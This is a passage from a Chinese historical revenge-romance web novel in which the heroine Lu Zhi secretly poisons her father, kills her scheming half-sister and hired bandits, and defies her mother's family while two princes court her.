新的丫鬟叫若娘,做事利索为人伶俐,是个能讨主子喜的人,陆枝却不让她贴身伺候,这人是不是罗香君安插在她身边的还不好说,每日的饭菜她都要先验一验才敢吃。
静妃闻讯召了陆枝入宫,陆枝才得以短暂地从那些繁杂的礼节中脱身,她跟着领路的公公去往栖和殿时迎面碰见了太子。
彼时她不知此人是谁,领路公公行礼道:“太子殿下安康。”
陆枝明了,跟在一旁欠身行礼。
太子谢瓒停下脚步:“魏公公,这位小姐是?”
魏公公:“太子殿下,这位便是陆府刚寻回来的陆大小姐。”
陆枝再度欠身:“陆枝见过太子殿下。”
谢瓒打量陆枝:“原是近来名动京城的陆大小姐,以一人之力重整怙州,果真不凡也。”
陆枝跟着客套道:“太子殿下谬赞,怙州之变非我一人可为,乃是众民齐心所致。”
谢瓒笑笑,没再继续这个话题:“陆小姐入宫可是应了谁的召?”
陆枝:“……”问题怎么这么多?
魏公公见陆枝不回话,赶紧插话答道:“太子殿下,静妃娘娘和陆小姐的生母原是闺中密友,如今陆小姐回归相府,静妃娘娘听了欣喜,命老奴接陆小姐入宫见上一见。”
谢瓒:“原是如此,那我便不多耽搁陆小姐见长辈了。”
魏公公领着陆枝继续往前走,谢瓒望相反的方向走了两步,回头看着陆枝的背影道:“流光,你去打听打听这位陆小姐可有婚配。”
流光:“是,殿下。”
栖和殿门口,谢玄正在等着,陆枝见到谢玄,想起他们分别时说的那句“来日再见”百感交集。
陆枝走上前行礼:“见过二皇子殿下。”
谢玄被这称呼叫得心头一紧:“你像以前那样叫我便可。”
陆枝笑笑,没有当真。
这里是皇宫,不可僭越。
静妃的声音从里面传来:“可是枝儿到了?”
陆枝对着谢玄微微欠身,朝里走去:“陆枝见过静妃娘娘。”
静妃一看见陆枝,眼泪没忍住漫出眼眶:“枝儿来,走近些,让静姨好好瞧瞧。孩子,苦了你了,怙州之事我都听说了,那贼人遭逮自刎当场定然是为了隐藏些什么,静姨已让玄儿去查,定要为你和念慈讨个公道。”
静妃是位温婉得体的女子,同秦念慈一样。
如今得如此长辈的安慰,陆枝心头一酸:“谢谢静姨。”
静妃留陆枝在店里用膳,饭后是谢玄送陆枝出的宫,两人并肩而行:“那手链你没再戴着了。”
陆枝看了眼空荡的手腕,答道:“自怙州进京路途遥远,怕路上丢了,便收着了。”
谢玄:“若是丢了,我再送你。”
陆枝轻轻应了声嗯,道:“不会丢的。”
自怙州到京城,那条手链竟成了她有关怙州时光的为数不多的念想,她是绝对不会弄丢的。
犹记当时,娘亲同她笑说:“枝儿收了玄儿的手链,可是要把玄儿带到秦家来?”
她那会儿也跟着打趣:“哎呀,既然娘亲若是这么喜欢玄儿哥哥,那枝儿便把他强留在怙州给娘亲做女婿。”
回忆旧事,陆枝不经意地笑了一声。
谢玄看她沉浸在快乐的回忆中,也没出声打扰。
陆枝每逢深夜就会换上黑衣自窗户轻跃而出,在夜色的掩护上将整座陆府府邸摸了个透。
找到陆文德的书房后,她寻机潜入进去,欲往书案上的书抹毒粉,忽而又收了手。
不行,书不行,笔墨也不行,若后面查起来,她这个新入府的人嫌疑最大。
她借着外面挂着的灯笼漏进来的一点残光扫视着书房的陈设,最终将目光定格在了蜡烛上。
涂在灯芯上,烧过便没了。
量虽小,积少成多。
于是陆枝夜夜都会去下毒,为避免被发现,在蜡烛将烧到底的时候,便不再抹了,待蜡烛换新后再继续,如此一月后,陆文德的身体出现异样。
偶尔目眩,常觉乏力。
他叫了大夫来看,大夫没查出什么,只说陆文德气血虚,给他开了补药。
陆文德的身体欠佳,罗香君就得时常守在身旁伺候,倒是没什么闲暇让嬷嬷折腾陆枝了。
陆枝使了点手段,嬷嬷也回了罗香君身边,没再来过她的院子。
她也监视着若娘,这个丫鬟并无多少异常举动,自从被分来她的院子后,也没往罗香君的院子跑过。
也许真就是新入府的丫鬟。
但她始终没有放下警惕。
满城落叶,冬意渐浓,院子里的树上只剩零星几片不肯落地的枯叶。
陆枝捻下一片,捏在指尖来回转,不知所思。
若娘拿了件披风来:“小姐,天已转冷,小心着凉。”
“嗯。”陆枝松开手指,枯叶慢慢悠悠旋转着落在裸露的树根旁:“若娘,你自何处出生?”
若娘:“回小姐,奴婢生于贤州。”
贤州?
陆枝:“贤州离京城千里,你为何来了京城?”
若娘面色悲痛:“贤州去年大涝,爹娘长姐皆丧命于洪涝中,只剩奴婢和幼弟活了下来相依为命。家已冲毁,银两无存,幼弟在涝中伤了腿,为求活命,奴婢带着幼弟来了京城寻条活路,只是我带着幼弟难找活计,前些日子听闻相府新招丫鬟,奴婢便想着来试一试,好在被选上了。”
陆枝暗自思索,罗香君在韩御史和陆文德面前让陆府出了一场大丑,不会给她原有的人来伺候她。
看来这个若娘还没有被罗香君买通,她可以把她变成自己人。
陆枝点点头:“你幼弟的强势如何了?”
若娘:“无钱医治,只能靠临时做工替他买些药维持着,怕是、怕是这辈子都好不了了。”
她话到尾处,隐隐有了哭腔。
“跟我进来。”陆枝进房间从木盒子里拿出一个沉甸甸的荷包:“拿这些钱去给幼弟找大夫
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治腿,若是不够再来找我。”
若娘惶恐跪下:“小姐,这钱若娘不能接,能伺候小姐得个活计已是万幸,怎能再拿小姐的钱。”
陆枝没有收回手:“你既成了我的丫鬟,我说的话便该听。若娘,想想幼弟,年纪还小,若是瘸了后半辈子岂不难过?”
若娘紧咬着颤抖的嘴唇,在几番挣扎之后终是收下,磕头拜谢:“若娘谢小姐大恩,此生定当牛做马报答小姐。”
陆枝扶起若娘:“好好给弟弟治腿。”
她暗中跟踪若娘回了住处,揭开屋瓦,瞧见阴暗潮湿的房间内确有一个躺在床上的男孩,左腿上绑着绷带,隐隐约约地透着血迹和黄色脓液。
大夫给男孩拆开绷带,伤口皮肤已经腐烂惨不忍睹,他用药水给男孩清洗伤口,男孩疼得撕心裂肺地大叫,若娘不忍,伸出手臂给弟弟咬着。
陆枝坚持着看完大夫施针上药,确认大夫所行无误后便盖瓦离去。
冬日初雪洋洋洒洒而来,不消一日便铺满了整个京城,高低错落的瓦舍,纵横交错的街道全被柔软的白雪侵占,世间好似陷进白色的温柔中。
令陆枝意想不到的客人找上了门来,竟还是指名来邀请她出门同游。
陆枝看到谢瓒,虽觉诧异却也不露怯:“太子殿下安康。”
谢瓒:“陆小姐不必多礼,今日雪色正好,不知我可否有幸请陆小姐同赏?”
陆枝想要推辞,谢玄之前遭遇的刺杀应该就是皇子间的权力争斗,是不是太子不得而知,她不想和这些皇子有牵扯:“京城贵女众多,知礼得体,更知情知趣,不似陆枝长于山野间,怕是会无意间冲撞了太子殿下。”
谢瓒似是毫不在意:“京城贵女虽多,但今日我只想邀请陆小姐,若是陆小姐不愿,我确是不该强人所难。”
陆枝正要送客,陆文德听闻太子来了,拖着不爽朗的身子赶来相迎,听见陆枝拒绝了太子内心不悦:“殿下说笑,枝儿有空,何来强人所难之说。枝儿,殿下既来亲自相邀,且你回京不久,何不同太子殿下一道出去走走?”
这个老登,想用她攀太子。
陆枝再也不能不识趣地拒绝,她看见陆文德身后陆绫妒忌的眼神心生打算也不打算拒绝:“是,枝儿遵命。”
谢瓒邀请陆枝去清云寺,说是寺庙建于山顶,登高远眺,满山白雪气势恢宏。
他登上马车,伸手邀请陆枝同乘,陆枝微微呼了口气搭了上去。
马车缓缓驶入树林,树叶上的积雪被马车声震落一片,一撮撮细雪无规律地落在车顶,待行出山林,车顶已落满了白。
陆枝倍感无语地陪着谢瓒爬上那千层石阶,登上清云寺。
谢瓒:“听闻陆姑娘已然及笄,并未婚配。”
陆枝内心咯噔一下,这是要来打她的主意了?
她道:“是并无婚配,但已有心悦之人。”
谢瓒:“哦?是哪家公子?”随后又意味深长地加了句:“又或是——皇子?”
陆枝暗暗掐紧手指,神色不显:“殿下说笑,陆枝心悦之人不过是名寻常男子罢了,入不得殿下的尊耳,便不说名字了。”
谢瓒俯身逼近陆枝,露出玩味笑容:“哦,是吗?我还以为陆小姐心悦之人是我那二弟呢。”
5. 反杀
陆枝将手指捏得惨白:“哪会,殿下何必开此玩笑。”
谢瓒凝视着陆枝,随后一笑退了回去:“既是寻常人家,想必陆相怕是不会同意,看来陆小姐是要单相思了。”
他负起双手继续往前:“且既无媒灼之言,陆小姐的婚事应是要从父母之命的。”
陆枝:“殿下说得是。”
啧,这太子的算盘珠子都要蹦到她的脸上了。
她心道:“在太子搞事之前她得加快速度了。”
陆枝次日就生了病。
冻的。
她自觉自己不是身体差的人,但是那太子也不知道赏雪的兴致怎么那么高,她跟着在冰天雪地里整整走了一个时辰,喉咙像是吞了根冰刺,又疼又凉。
全身酸痛乏力感让她什么也做不了,只能躺在床上闭着眼睛休息,也睡不着,若娘端了药来伺候,她让若娘先放在一旁凉一凉。
闻着就很苦,她不想喝。
陆枝:“若娘,弟弟的腿如何了?”
若娘把毛巾打湿给陆枝换上:“劳小姐挂念,大夫已正了腿骨,如今已能下地走上一走了。”
陆枝轻轻应道:“嗯,那就好。若是好了,带他来府里让我见见……还是算了,若是方便,我跟着你回家见见。”带到府里来容易遭人惦记。
“小弟知晓是小姐救了他的腿,若是见着小姐定然高兴。”若娘伸手探了探药温,正合适,端起要喂陆枝:“小姐,已不烫了。”
“……”陆枝见逃不过只好硬着头皮把那一碗褐色喝下,整碗下肚,她紧闭着双眼,眉头拧出了明显的起伏褶皱。
她真的很不喜欢喝中药啊,太苦了。
若娘拿了一块梨花糖哄道:“小姐,吃了这块梨花糖便不苦了。”
陆枝赶紧张嘴。
她时睡时醒直至入夜,恍恍惚惚中听见了铜钱落地的声音。
有人从窗户进来了?
陆枝从恍惚中醒来起身,转头便和偷潜进她房间的谢玄四目相对,两个各自沉默。
谢玄:“……”
陆枝:“……”他怎么来了,还是爬窗进来的,还正好被她抓到,好尴尬,尴尬得她不知道说什么。
由于此前怙州短暂的相处,她倒不觉得谢玄有什么坏的图谋,于是绞尽脑汁给谢玄找了个台阶:“殿下深夜造访,可是有要紧之事找我?”
谢玄抠了抠自己的手指,让自己镇定下来,把药放到陆枝的床头,坐到床边:“白日里来见,府里说你身体不适卧病在床,心里放心不下,总想来见一见你。深夜翻窗入你闺房,于礼法不合,是我不该。”
实则是他听闻了谢瓒邀陆枝同游清云寺,心中吃味,后面便如他所说,想来府上见人却见不着,得知她病了又十分担心,想来悄悄送个药,没想到被当场抓包。
陆枝看了眼绑在一起的药包:“殿下,这是太医院开的?”
谢玄:“嗯,对风寒之症极好。”
陆枝一愣,他深夜翻窗而入就是来给她送药的。
心里涌起异常的感觉,她眨了眨眼,一笑:“多谢殿下。”
谢玄探了探陆枝的额头,不算很烫,放了心,温声道:“这里不是皇宫,你无须再顾那些虚礼,还像以前那样唤我便好。”
那股子异常的感觉忽而放大,陆枝感到额头的烫意竟转移了一部分去耳根。
“嗯……好,玄儿哥哥。”
这一声旧称竟让她生出一种恍如隔世的感觉,就好像此刻她还在怙州,只不过她生了病,换成了前来做客的谢玄来照顾她。
而片刻后,那种过往的虚幻消失不见,她回到现实,巨大的落差让她感到落寞悲伤。
“怙——”谢玄知道陆枝在想什么,他已查到了线索,也隐隐猜到陆枝为什么而回京,但又觉得此刻不该提这伤心事,于是话音拐了个弯:“先将身子养好。”
陆枝:“嗯,我会的。”
谢玄从怀里拿出一包杏酥糖放到陆枝手里:“药有些苦,喝完药便吃颗糖,我记得你爱吃这糖。”
她当初尽地主之谊带着谢玄逛怙州城时就买了一包杏酥糖,是她爱吃的,没想到他还记得。
眼泪猝不及防地滴落,落在锦被上,被锦被上的刺绣同化,看不出痕迹。
谢玄只觉心头一疼,抬手轻轻抹去陆枝的眼泪:“枝儿,别哭,一切有我。”
他一直守在陆枝身旁直至寅时,天光将现,他不得不离开。
沐武一直在外给谢玄放风,见了谢玄出来,忍不住调侃道:“殿下,深夜翻窗非君子所为,可是让人家抓住了,现在才出来?”
谢玄不理会他的调侃,顺着说道:“嗯,于她,我非君子,便是一个翻窗的小人。”
沐武“……”原来自家殿下遇着了心爱的姑娘,竟是如此地不要脸,还有些……不可救药。
是个情种哎。
陆枝醒来时,谢玄已经不在,她望着空落落的手心竟生出了一丝似有若无的落寞。
罗香君应是受了太子亲自上门相邀陆枝的刺激,竟在陆文德耳旁吹要给陆枝寻门亲事,陆文德见太子似是对陆枝有意,这事便驳了回去。
没几日,陆绫找上门来邀请陆枝前去清云寺为陆文德拜佛祈福。
这招用得妙,她若不是不去,就是不孝。
陆枝爽快地答应了下来。
罗香君所谋所划是为陆绫,陆绫坐享其成,她也没打算放过陆绫。
清云寺内,拜完佛后,陆绫邀请陆枝闲逛,行至赏雪点时,陆绫故意一个趔趄想从后面把陆枝推下山崖,陆枝冷笑,轻巧地一个转身避开,陆绫脚下制止不住滑向山崖,半个身子探出了崖外,双脚堪堪踩在悬崖边上。
她没掉下去,全凭陆枝拉着。
陆绫看着滚落下山崖的积雪,内心恐惧不已:“姐姐救我。”
陆枝:“妹妹方才是想推我下去吧。不曾想,此刻你的命在我手里,多好笑啊。”
说着,她松开了一根手指。
陆绫惊恐,大喊道:“姐姐,姐姐误会了,绫儿、绫儿真是不小心被绊了脚。”
陆枝:“哦?你在我左旁,被绊了脚往左往右往前都不奇怪,奇怪的是为何正好绕到了我身后,还双手往前推。你看,你此刻挂在悬崖边,这正说明,你是用足了劲才停不下来。”
“那你说说,我为何要救一个想杀我的人?”
她继续松开一根手指。
陆绫崩溃大喊:“姐姐,姐姐,我错了,我不该心生歹念,姐姐,求求你,救救我吧,我再也不敢了。”
陆枝把陆绫拉了上来,陆绫劫后余生地向陆枝道谢:“多、多谢姐姐。”
陆枝居高临下地瞥了她一眼,转身走了。
陆绫大口地喘着气,慢慢露出怨毒的眼神。
下山后,陆枝入轿:“若娘,香可燃完了?”
若娘:“茭兰香已起,应是燃尽了。”
陆枝:“车外呢?”
若娘:“都已撒好了。”
陆枝没再说话。
马车行入山林,马儿仿佛受了惊,嘶鸣一声停在了原地。
窸窸窣窣的脚步声散落在马车周围。
熟悉的声音不久后传来:“姐姐,请下轿吧。”
果然还有后招。
陆枝冷笑,掀帘下轿,看见两位车夫已经气绝身亡,瞥向趾高气昂的陆绫和她身后的一众匪徒,道:“陆绫,这便是你说的‘再也不敢了’?”
陆绫立刻变脸:“贱/人!你为什么没死?这嫡女身份明明马上就要是我的了,你为何要回来!”
大栾宗法,嫡死庶顺。
陆枝没答话,听着陆绫一股脑地宣泄她的憎恨:“赶你出府时没杀死你,不曾想你在怙州竟弄出了名堂,整个州的人都在保护你,好不容易、好不容易
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寻到了机会,你竟没死!啊!!!为什么!为什么!明明我马上就可以承嫡女之位了,你竟然回来了!”
“所以,”陆枝眸色冷了下来:“来秦府提亲的人里面有你们安排的人?”
陆绫:“不错!可竟没杀了你!不过没关系,今日你也活不了了。今日我与姐姐出门祈福,姐姐被歹徒所害,只有我侥幸活了下来。”
陆枝看了眼陆绫身后的丫鬟:“你的丫鬟也活不了?”
陆绫:“她要为保护我而死,当然活不了!”
陆绫的丫鬟害怕得发抖,却什么也不敢说。
陆枝摸着下巴笑笑,点评道:“不错的剧本。不过结局要改一改。”
陆绫皱眉:“何意?”
若娘从轿内拿出一把银剑,陆枝抽出剑指向陆绫,歪头一笑:“是我侥幸活了下来。”
陆绫怒目而视:“动手,杀了她!”
蒙面匪徒大抵五六人,提刀大喝,跑了没几步忽然四肢发软,瘫倒在地上。
陆绫一惊:“你们,你,你做了什么?”
陆枝挑眉:“妹妹没闻到什么香味吗?”
陆绫仔细闻了闻,顿觉头晕目眩,整个人摇摇晃晃的站不稳:“你,你下了毒!”
“啧,真不中用。”陆枝把剑送回剑鞘:“不算毒,一点迷药罢了,放心,仵作验尸时验不出来,因为,我根本不会给他验尸的机会。”
她捡起匪徒的刀,慢慢逼近陆绫,陆绫惊恐再度求饶:“姐姐,姐姐,我真的知道错了,我一定改过自新,求求姐姐再给我一次机会。”
“不了。”陆枝一刀穿过陆绫的心脏,丝毫不拖泥带水:“我只给人一次机会。”
她将所有歹徒一刀封喉。
鲜血喷红了一片雪。
若娘下轿给陆枝递了手帕:“小姐。”
陆枝扔下刀,用手帕擦了擦手:“将油倒上。”
陆绫的丫鬟战战兢兢地说道:“大小姐,我也来帮忙。”
陆枝一笑:“嗯,银朱,今日还要多谢你将陆绫的阴谋告知于我。”虽然她猜到了陆绫没憋什么好屁早有应对。
她道:“银朱,你也知你将你家小姐的谋划告知于我,二夫人是决计不会放过你的吧。”
银朱跪在地:“大小姐,我想活,求求您给我一条活路吧。”
陆枝:“我可以给你指条活路,但今日你所见所闻,都要烂在肚子里。”
银朱:“奴婢一定不会说。”
“口说无凭。”陆枝拿出一颗红色小药丸:“吃下它,我就信你。”
银朱:“大小姐,这是……”
陆枝:“毒药。不过你也不用担心,此毒一个月后才会毒发,怙州有一物,名叫无蚕草,可解此毒,每月服之,性命无忧。银朱,去怙州吧,可活。”
银朱巍巍颤颤地接过,盯着红色药丸看了会儿,终是下定决心,一口吞下。
陆枝:“到了怙州去寻陈州官,就说是我让你去找的,他会为你安排生计。”
银朱磕头道:“谢大小姐。”
陆绫的尸体被拖进马车,若娘点火,因撒了油,火势顺起立马变大,整个车轿被熊熊火焰吞没,马儿惊惧奔跑起来,跑过重重树木冲向山崖。
两辆马车皆是如此。
陆枝:“银朱,走吧。”
银朱告辞。
若娘将自己的头发弄散,抹了泥土在脸上,又捡起地上的刀往自己的手臂上划了一刀。
陆枝:“若娘,你干什么?计划中并不要你受伤。”
若娘忍痛答道:“我也受了伤,能让小姐少些怀疑。”
陆枝:“若娘……”
若娘:“小姐,您是我家的恩人,若娘一切都心甘情愿。”
陆枝:“多谢你了,若娘。后面便要麻烦你了。”
她捡起刀,调转方向,毫不犹豫地贯穿了自己的左肩。
6. 葬礼
寒风掠过,枯枝挠窗。
陆枝从无尽的昏沉中醒过来,若娘守在身旁熬红了眼:“小姐,您可算是醒了。”
“现……”陆枝发觉自己的声音沙哑如鸦,喉间一片干涩,发声困难,若娘赶忙给她倒了杯水润喉,待缓过来后,她问道:“现下如何了?”
若娘:“小姐伤重,昏迷了三日,相府寻回了二小姐的尸体,已经烧焦不见人样。府里已经在给二小姐操办丧事,相爷让人不要打扰小姐。”
陆枝虚弱道:“嗯,相辅可有派人去查?查到了什么?”
若娘:“皇上听闻此事震怒,下令彻查,却查到那些匪徒与二小姐往来的证据,调查此事的少卿大人判定是二小姐欲图谋害小姐却反被匪徒所害,因二小姐已死,加之相爷求情,此事便不宣之于众,让少卿大人暗中追查匪徒踪迹。”
陆枝:“嗯。”不枉费她制了那么多瓶化骨液化掉了匪徒的尸体。
人车坠崖,一切为空。
“你的伤呢?”
若娘:“上了药已无大碍。不过小姐,有一件事甚是奇怪。”
陆枝:“何事,说来听听。”
若娘:“自小姐受伤后,每夜过后,房内都会出现药和糖,我找了找,房内并无丢失什么。”
陆枝:“那药和糖呢?”
若娘:“我怕有诈,都收起来了。”
陆枝笑笑:“便用那药吧,他送的,不会差。”
若娘不知“他”是谁,但从陆枝反应来看,也知陆枝信任此人。
陆府丧事过去,雪也落着落着没了踪影,暖意挤进冬风里再度来到人间,当最后一处积雪化去,春意已十分明显。
外头传来了一个令陆枝惊讶的消息,罗家倒了。
本也不是个多大的家族,家中为官者也是小官,家中主要经营酒楼。
据说是罗家酒楼的食客在用餐过后全都中了毒,官府查封了酒楼,查出是店中小二因对主家的打骂怀恨在心,故而在菜里下了毒。
小二被判了刑,好在下的毒并不厉害,食客们性命无忧,但罗家声誉大跌,再无人上门,入仕者也因此被贬为民。
陆枝推开窗双手搭在窗边,窗外春意渐盛,绿芽已冒了出来,她想起了谢玄说的那句“一切有我”。
会是他做的吗?
陆文德的身体因陆枝受伤停了毒而好转,他找上陆枝:“枝儿,你身体如何了?”
陆枝:“多谢爹爹关心,已快好了。”
陆文德叹气:“枝儿,绫儿糊涂对不起你,如今她人已走了,你也莫要再怨了。”
陆枝:“人走事消,我没什么好怨的。”
陆文德拍了拍陆枝的手背:“你如此体贴懂事,爹甚是欣慰,如今爹就你这么一个女儿了,枝儿,爹会把过往欠你的都补给你。”
陆枝:“家中还有几位弟弟,虽非嫡生,却也敬重爹爹,莫要让弟弟们觉着爹爹偏心。”她才不稀罕他的补偿,以往他靠着罗家又拖着秦家,这回没了罗家,还不知道他要怎么吸她的血。
陆文德微微变了脸色:“你那些弟弟自小从未被亏待,反倒是你,受苦良多,多些疼爱也是该的。”
陆枝懒得掰扯:“多谢爹爹。”
听闻罗香君忧思过重,卧病在床,她作为小辈去看了罗香君。
罗香君像是忽然间老了十岁,当初那股看不起人的傲气已经全然不见了,若是不知她过往秉性,会真的以为她就是一位话不多的长辈。
陆枝看罗香君不想理会她,也没打算自找没趣,做个样子就走了,才走两三步就听见罗香君说:“是你吧。”
不是问句,而是陈述句。
陆枝:“姨娘说什么?”
罗香君冷哼一声:“绫儿的丫鬟银朱不知所踪,可是也被你杀了?”
陆枝:“姨娘癔症了,陆枝并无此能力。”
罗香君突然发起了疯:“是你!一定就是你杀了我的绫儿!你个贱/人,和你那短命母亲一样贱,处处要挡我和绫儿的路。”
陆枝双眸一凛,正想教训罗香君,听见外头的脚步声又忽然打消了主意:“姨娘不想见我,我以后便不来了,姨娘多保重身体,告辞。”
罗香君激动起来:“你去哪!你想逃去哪?还我绫儿命来。”
陆文德喝道:“放肆,休得胡言乱语。”
罗香君一惊,随即大哭:“老爷,你要为妾身做主啊,一定是这个小贱/蹄子害死了绫儿。”
陆枝佯装愤愤:“少卿大人已查明真相,我因陆绫身受重伤,如今还要遭到姨娘如此污蔑,真叫人心寒,今后姨娘这地,陆枝再也不会来了。”
陆文德想叫住陆枝哄一哄:“哎,枝儿……”
陆枝头也不回地走了。
罗香君仍在哭闹,陆文德耐心告罄:“够了!来人,好生照顾夫人,这些日子便不要再出院子了。”
陆文德甩袖离去。
罗香君看着那无情离去的背影,忽觉心灰意冷,她这一生都在争取这个男人的宠爱与偏爱,如今她痛失爱女,得到的竟是一句“够了”。
够了……
当真好生可笑,好生可笑啊……
当夜,罗香君自缢于房梁。
陆枝看着那些熟悉的白绸带征然,她带着满心仇恨而来,如今仇人尽死,她忽然就空了。
她像是坐在一艘迷失于海域的船上,以前有秦念慈和霍无尊掌舵,带她使向某个方向,她无所谓去向何方,无所谓终点,只要有他们在便好。
没了他们以后,她凭借着仇恨自己胡乱前行了一阵,如今,是再也没有方向了,也不知该做什么。
海浪将船打得摇摇晃晃,她不知何时会沉没。
陆枝低头,看着石砖想道:“我想站在地上。”
她看了一圈仍旧陌生的宅子,视线缓缓上移,被晴朗的天空晃了眼。
回怙州吧。
哪怕再伤心,那也是,她此生长大的地方。
没了陆绫,还有好几个弟弟,陆枝不知道他们是什么心思,只觉得这深宅大院里的阳光都不如门外的轻快。
陆枝:“若娘,若我要离开陆府,你可愿跟我走啊?”
若娘没有犹豫:“小姐去哪我便去哪。”
陆枝莞尔:“带上孟童一起。”
若娘:“他定然愿意。”
就在陆枝准备回怙州之时,秦府来了人。
秦老爷子年事已高,驾鹤西去。
陆枝对这外公外婆并没有什么感情
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,从小没见过一面,他们不肯收留娘亲而让娘亲奔波怙州。
她倒是谈不上恨,但也不想尽什么孝道,可她还是去了,来找她的人是她的二姨母,秦念慈的妹妹,长得很像秦念慈,对陆枝也很和蔼。
踏入这秦府,陆枝的心情跟生长在角落里不见阳光的苔藓一样阴郁,每个人基本都对她怀有敌意,而后陆枝明白了,是秦老爷子卧床后因心怀愧疚,立了遗嘱要分给陆枝三成家产。
陆枝在秦老爷子的棺材前磕了三个响头,随后当众说道:“我的这三成都给二姨。”这钱她不想要。
众人哗然。
她的舅舅秦建不满道:“你既不要,便该拿出来分。”
陆枝冷笑:“给了我便是我的,我想给谁就给谁,你若是想要,跪下求我,我便分你一成。”
秦建怒喝:“你!好你个乡野丫头,竟如此不分尊卑!”
陆枝回呛:“乡野?你既知我长于乡野,也该知我自小没吃过一粒秦家的米粮,当初我娘蒙冤被休,你们这些个兄弟姐妹有谁对她伸出援手了?如今要我对你们分尊卑,你也配?”
秦建:“你!”
陆枝打断:“你什么你!再敢拿手指指着我,小心这根手指再也保不住。”
也许是她的眼神实在太过冰冷憎恨,秦建竟被她的气势吓退了嚣张气焰,嘴硬了一句“我不同你这小辈计较”后甩袖负手。
陆枝不想在这个地方多做停留:“人我也拜过了,那我就走了,日后诸位有事无事都不要来找我。”
一旁坐着的老人始终未曾开口,陆枝看见她还是讲了个礼:“外祖母,珍重。”
陆枝走了五六步,一道苍老威严的声音喝住了她:“站住。”
她转过身:“外祖母还有何话要说?”
舒惠拄着拐杖,在丫鬟的搀扶下站起来,走到石阶前居高临下地看着陆枝:“我秦家虽没落,却也是名门望族,你流着我女秦念慈的血,便是我秦家人,若想和秦家断绝瓜葛,需得过家法!”
一群小厮拿着棍棒将陆枝团团围住。
陆枝没忍住哼笑出声:“敢问祖母是不满我将那三成给了二姨?”
舒惠:“放肆,金银于老身已是身外之物,你不知礼法,目无尊长,置我秦府颜面何在?今日受三十大棍,逐出秦府,今后你与秦府便没有任何关系。”
那两指粗的棍子打三十棍下去,陆枝不死也得去掉半条命。
秦念钰制止道:“娘,不可啊,会打死枝儿的。”
舒惠大喝:“你得了她那三成,便要向着她说话了?要不要你去同她一道受家法?”
秦念钰不敢再说话。
这些名门望族真是将脸面名声刻进了骨子里,为了维护这些莫须有的东西,背地里真是什么手段都能使得出来。
她可不打算惯着他们。
陆枝双手抱胸,冷眼看着舒惠:“老太婆,你今日若是敢动我,我就让你一起躺进去。”
她指了指舒惠身后的棺材。
舒惠提起拐杖叩响在地:“竖子,尔敢无礼!来人,给我打!”
小厮举起棍棒挥向陆枝,陆枝后撤步闪身抢了一根棍棒正欲反打。
门外响起异口同声的两道声音:“住手。”
7. 弟弟
众人的视线全部移向来人,陆枝趁机用棍扫了一圈,所有小厮被打倒在地哀嚎。
她挽了一圈棍棒,稳稳立在地面,略带挑衅地看着舒惠,嘴上不饶人道:“秦家不愧是名门望族,养这么多花架子唬人。”
舒惠碍于皇子在场不敢造次,只得怒目而视,可陆枝全然不害怕。
谢玄快步走到陆枝身边:“可有受伤?”
陆枝摇头:“不曾。”
竟有武艺傍身,难怪全然不惧。
谢瓒觉着有趣,虽已听说秦府发生了何事,但他此刻佯装不知问道:“陆小姐,这是发生了何事,需得你如此大动干戈?”
陆枝不打算给秦家人留脸面,她语气平淡:“也无大事,无非是这家人因为不满老爷子的财产分割要来为难于我。”
舒惠喝止:“住口,无礼小辈,不知尊卑,作为长辈,如何教训你不得。”
陆枝耸耸肩:“看吧,还非要找一个借口来动手。”
舒惠被气得不行:“你!你这个——”
陆枝提起棍棒,往地上叩了叩,笑着看着舒惠:“我这个什么?”
舒惠没再接话,两人剑拔弩张地对视着,谢玄往前把陆枝挡在身后,挡去秦家人不善的视线。
谢瓒出声打圆场道:“秦老三朝为官,乃是我朝肱股,如今仙去,诸位还是莫要在他面前闹得他九泉之下不得安宁。”
舒惠恶人先告状道:“太子殿下说得有理,只是这小辈实在无礼,出言不逊,目无尊长,是该教训,不然我这秦府的颜面该当如何!”
陆枝笑意不达眼底,指了指秦建:“你儿子惦记分给我的三层家产,我为何要给他好脸色看?你喊人围我打我,还要我敬你?”
她脸色忽变,举起棍棒猛然掷出,棍棒将将擦过舒惠的白发深深嵌入舒惠身后的柱子中,舒惠瞳孔一缩,吓软在地,瘫在石阶上竟已是俯视陆枝的姿态:“你、你……”
陆枝:“少跟我扯什么宗族礼法,我先前并非不敬你,是你为老不尊,现在是我施恩不杀你,你最好安分守己养你的老,再敢给我添堵,这秦家就不要再存在了。”
陆枝没有因为大仇得报而觉得畅快,而这群人还要来找她的不痛快,她自知不是一个能忍委屈的人,秦念慈和霍无尊从不让她受委屈,他人给的委屈,她有何必要接下?
秦府众人鸦雀无声,谢玄正在拉着陆枝离开,却被谢瓒抢先一步:“秦老夫人,您便不要同一个小辈计较了。人我先带走了,秦老的葬礼继续行进吧。”
说完,他拉着陆枝头也不回地出了秦府。
谢玄看着谢瓒拉着陆枝的手满眼阴沉地跟了上去。
出了府,陆枝转了转手腕,谢瓒放开陆枝的手:“我今日才知,陆小姐竟是如此跋——张扬。”
什么张扬,原本是想说跋扈吧。
陆枝拍了拍手,把手上的某些东西拍掉,没什么情绪道:“人不犯我,我不犯人,人若犯我,不想忍就动手。”她也不是全然不能忍,今天这秦家人纯属是自找倒霉,她心情不好。
谢瓒应是第一次听到这样的言论,觉得甚是新奇有趣,看着陆枝嘴角浮出笑意,竟抬手想要给她挽落在额前的碎发。
陆枝余光瞥见谢瓒抬手,警惕地往后退了一步:“太子殿下想做什么?”
谢瓒的手尴尬地停在空中,拐了个弯拐至唇边,他假意咳了咳,给自己找了个由头:“方才好似有一只蚊蝇,替陆小姐赶一赶。”
陆枝半信半疑:“那就多谢殿下了。”
谢玄看谢瓒对陆枝动手动脚心里愈发不是滋味,快步走上前拉起陆枝:“皇兄,今日母妃想邀陆小姐进宫喝茶,我来接她,我们便先行一步了。”
谢瓒心中不悦,却不显露,做了个请的手势。
陆枝:“玄儿哥哥,应不是静妃娘娘想见我吧。”
谢玄停下并不快的脚步:“为何会如此觉得?”
陆枝:“上回见我,她见我不爱喝茶,便说若有进贡的好吃的再召我。”
谢玄一愣:“你们当时还说了这个?”他当时怎么没听见?
陆枝见逗谢玄得逞,心中郁结一扫而过,眨了眨眼:“背着你说的,你自然不知道。”
“不过,我今日倒是很想吃柳月楼的山药羹。”她反拉起谢玄:“玄儿哥哥陪我去吃吧。”
谢玄瞬间体会到何为“心里乐开了花”。
陆枝因为大闹秦府之事被陆文德责罚,陆文德念着太子和二皇子一起出现在秦府带走陆枝,到底没有重罚,只说让她禁足一月。
这个惩罚对陆枝来说不痛不痒。
春意退散,日色明媚。
